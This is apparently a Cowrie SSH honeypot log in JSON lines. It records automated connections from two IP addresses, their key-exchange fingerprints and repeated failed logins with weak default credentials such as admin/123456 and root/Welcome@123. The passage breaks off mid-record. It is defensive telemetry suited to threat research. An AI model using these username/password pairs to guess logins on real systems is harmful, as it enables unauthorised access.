{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:11.750939Z","src_ip":"91.92.42.227","session":"b237a2ef8489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:12.103561Z","src_ip":"91.92.42.227","session":"b237a2ef8489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:13.242738Z","src_ip":"91.92.42.227","session":"b237a2ef8489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49282,"dst_ip":"10.17.0.5","dst_port":22,"session":"a17e500d46fa","protocol":"ssh","message":"New connection: 45.156.87.147:49282 (10.17.0.5:22) [session: a17e500d46fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:13.369913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:13.374222Z","src_ip":"45.156.87.147","session":"a17e500d46fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:13.456207Z","src_ip":"45.156.87.147","session":"a17e500d46fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernard","password":"bernard","message":"login attempt [bernard/bernard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:13.711535Z","src_ip":"45.156.87.147","session":"a17e500d46fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:14.804831Z","src_ip":"45.156.87.147","session":"a17e500d46fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43572,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b20794488df","protocol":"ssh","message":"New connection: 91.92.42.227:43572 (10.17.0.5:22) [session: 5b20794488df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:17.895802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:18.027808Z","src_ip":"91.92.42.227","session":"5b20794488df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:18.032298Z","src_ip":"91.92.42.227","session":"5b20794488df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:19.313828Z","src_ip":"91.92.42.227","session":"5b20794488df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45610,"dst_ip":"10.17.0.5","dst_port":22,"session":"63fad5367429","protocol":"ssh","message":"New connection: 45.156.87.147:45610 (10.17.0.5:22) [session: 63fad5367429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:19.476764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:19.480456Z","src_ip":"45.156.87.147","session":"63fad5367429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:19.562338Z","src_ip":"45.156.87.147","session":"63fad5367429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.13608908653259,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:19.805916Z","src_ip":"172.81.62.90","session":"c834265c0f13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:19.812424Z","src_ip":"45.156.87.147","session":"63fad5367429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:20.577827Z","src_ip":"91.92.42.227","session":"5b20794488df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:20.910850Z","src_ip":"45.156.87.147","session":"63fad5367429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43638,"dst_ip":"10.17.0.5","dst_port":22,"session":"663a2b7efeb7","protocol":"ssh","message":"New connection: 91.92.42.227:43638 (10.17.0.5:22) [session: 663a2b7efeb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:24.558496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:24.689113Z","src_ip":"91.92.42.227","session":"663a2b7efeb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:24.699039Z","src_ip":"91.92.42.227","session":"663a2b7efeb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"password","message":"login attempt [jellyfin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:25.553113Z","src_ip":"91.92.42.227","session":"663a2b7efeb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45638,"dst_ip":"10.17.0.5","dst_port":22,"session":"31e4d3922a0e","protocol":"ssh","message":"New connection: 45.156.87.147:45638 (10.17.0.5:22) [session: 31e4d3922a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:25.582781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:25.586349Z","src_ip":"45.156.87.147","session":"31e4d3922a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:25.667998Z","src_ip":"45.156.87.147","session":"31e4d3922a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:25.969241Z","src_ip":"45.156.87.147","session":"31e4d3922a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:27.056113Z","src_ip":"45.156.87.147","session":"31e4d3922a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:27.121817Z","src_ip":"91.92.42.227","session":"663a2b7efeb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46874,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b1a993cbb13","protocol":"ssh","message":"New connection: 91.92.42.227:46874 (10.17.0.5:22) [session: 2b1a993cbb13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:30.751379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:30.999147Z","src_ip":"91.92.42.227","session":"2b1a993cbb13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:31.002723Z","src_ip":"91.92.42.227","session":"2b1a993cbb13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48328,"dst_ip":"10.17.0.5","dst_port":22,"session":"f21879e806ca","protocol":"ssh","message":"New connection: 45.156.87.147:48328 (10.17.0.5:22) [session: f21879e806ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:31.747420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:31.750788Z","src_ip":"45.156.87.147","session":"f21879e806ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:31.835871Z","src_ip":"45.156.87.147","session":"f21879e806ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:32.083464Z","src_ip":"45.156.87.147","session":"f21879e806ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"123","message":"login attempt [odoo18/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:32.884216Z","src_ip":"91.92.42.227","session":"2b1a993cbb13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:33.166122Z","src_ip":"45.156.87.147","session":"f21879e806ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:34.331966Z","src_ip":"91.92.42.227","session":"2b1a993cbb13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36486,"dst_ip":"10.17.0.5","dst_port":22,"session":"586cac761c13","protocol":"ssh","message":"New connection: 91.92.42.227:36486 (10.17.0.5:22) [session: 586cac761c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:37.590791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:12:37.969066Z","src_ip":"91.92.42.227","session":"586cac761c13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac